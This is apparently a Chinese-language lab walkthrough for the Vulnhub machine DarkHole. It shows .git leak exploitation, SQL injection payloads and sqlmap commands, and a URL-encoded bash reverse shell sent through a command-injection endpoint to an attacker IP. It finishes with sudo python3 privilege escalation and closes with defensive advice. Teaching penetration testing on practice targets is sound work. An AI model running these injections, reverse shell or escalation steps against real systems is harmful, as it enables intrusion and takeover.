DarkHole靶机渗透
字数 1366 2025-08-12 11:34:03
DarkHole靶机渗透实战教学文档
1. 靶机概述
DarkHole是一款难度为"Hard"的Vulnhub靶机,建议使用VMware运行而非VirtualBox。靶机IP为10.8.0.102。
重要提示: 不要浪费时间在暴力破解上。
2. 信息收集阶段
2.1 端口扫描
使用nmap进行基本扫描:
nmap -sV 10.8.0.102
发现开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务
2.2 Web目录扫描
发现.git目录泄露,这是一个重要突破口。
3. .git泄露利用
3.1 下载.git目录
使用工具githacker下载.git目录:
python3 GitHacker.py http://10.8.0.102/.git/
3.2 分析.git内容
关键文件分析:
- config.php:包含MySQL数据库连接信息
- login.php:包含登录处理逻辑
3.3 查看git历史记录
执行命令查看git日志:
git log
发现关键提交信息:"我添加了带有默认凭据的login.php文件"
回退到特定提交查看历史版本:
git checkout a4d900a8d85e8938d3601f3cef113ee293028e10
在login.php中发现默认凭据:
- 用户名:
lush@admin.com - 密码:
321
4. Web登录
使用获取的凭据成功登录Web后台。
5. SQL注入利用
5.1 手动注入
- 确定列数:
?id=1' order by 8 --+ # 页面空白
?id=1' order by 6 --+ # 页面正常
确定有6列。
- 确定显示位:
id=' union all select 1,2,3,4,5,6 --+
发现2、3、5、6列显示在页面上。
- 获取数据库信息:
- 数据库名:
id=' union all select 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+
得到darkhole_2
- 表名:
?id=' union all select 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2' --+
得到ssh和users表
- ssh表结构:
?id=' union all select 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh' --+
得到列id, user, pass
- 获取ssh凭据:
?id=' union all select 1,user,pass,4,5,6 FROM ssh--+
得到:
- 用户名:
jehad - 密码:
fool
5.2 使用sqlmap自动化注入
- 获取当前数据库:
sqlmap -u "http://10.8.0.102/dashboard.php?id=1" --cookie="PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq" --current-db
确认数据库为darkhole_2
- 获取表:
sqlmap -u "http://10.8.0.102/dashboard.php?id=1" --cookie="PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq" -D darkhole_2 --tables
- 直接获取ssh表数据:
sqlmap -u "http://10.8.0.102/dashboard.php?id=1" --cookie="PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq" -D darkhole_2 -T ssh --dump
6. SSH登录
使用获取的凭据登录:
ssh jehad@10.8.0.102
密码:fool
6.1 信息收集
- 查看
.bash_history:
发现执行了curl "http://127.0.0.1:9999/",测试发现可通过参数执行命令:
curl "http://127.0.0.1:9999/?cmd=id"
返回显示是losy用户
7. 反弹shell
7.1 SSH端口转发
由于服务只能本地访问,使用SSH本地端口转发:
ssh jehad@10.8.0.102 -L 9999:127.0.0.1:9999
7.2 构造反弹shell
URL编码反弹shell命令:
bash -c 'bash -i >& /dev/tcp/10.8.0.100/1234 0>&1'
编码后:
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27
攻击机开启监听:
nc -lvnp 1234
靶机执行:
curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27"
成功获取losy用户shell,找到第一个flag:
DarkHole{'This_is_the_life_man_better_than_a_cruise'}
8. 权限提升
8.1 信息收集
-
查看
.bash_history:
发现losy修改的密码为gang -
升级shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
- 检查sudo权限:
sudo -l
输入密码gang后,发现可以以root身份执行/usr/bin/python3
8.2 Python提权
利用python的提权方式:
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
成功获取root权限,找到最终flag:
DarkHole{'Legend'}
9. 关键知识点总结
- .git泄露利用:通过.git目录泄露获取源码和历史版本
- SQL注入:手动和自动化(sqlmap)注入技术
- SSH端口转发:解决本地服务访问限制
- 反弹shell:通过命令注入获取交互式shell
- 权限提升:利用sudo配置不当进行提权
- 信息收集:历史命令、配置文件等敏感信息的重要性
10. 防御建议
- 避免.git目录泄露
- 使用参数化查询防止SQL注入
- 限制sudo权限,遵循最小权限原则
- 避免在历史命令中留下敏感信息
- 对本地服务实施适当的访问控制